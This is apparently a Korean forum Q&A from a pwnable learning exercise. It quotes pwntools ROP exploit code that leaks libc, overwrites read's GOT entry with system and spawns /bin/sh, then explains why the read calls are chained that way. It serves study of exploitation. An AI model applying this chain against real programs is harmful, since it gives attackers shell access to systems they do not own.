read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
시스템 주소 계산과 GOT overwrite 개념까지는 이해를 했지만 위의 GOT overwrite 익스 코드부터 왜 저런 코드를 작성했는지 잘 모르겠습니다. 혹시 천천히 왜 read(0, read@got, 0)랑 read("/bin/sh")를 호출했고 입력이 끝났는데 어떻게 마지막에p.send(p64(system)+b"/bin/sh\x00") 호출했는지 설명 해주실 분 있으신가요?..
p.send(p64(system)+b"/bin/sh\x00")는 read(0, read_got, 0x10)에 입력을 주는 것입니다.
왜냐하면 read를 호출하고 아무런 입력을 주지 않았기 때문에 read는 입력이 올 때까지 대기하고
있기 때문입니다.
조금 오해하신 것 같은데 코드에서 리드로 한번 값을 받을때 다시 리드로 값을 받은 뒤 리드 함수를 실행해주는 시나리오 입니다.
다만 마지막 리드 실행은 이미 두번째 리드 시 리드 got에 시스템 함수가 들어있으니 system(binsh)를 호출하는 역할을 합니다.
정 이해 안되시면 디스코드로 오세용 ㅎㅎ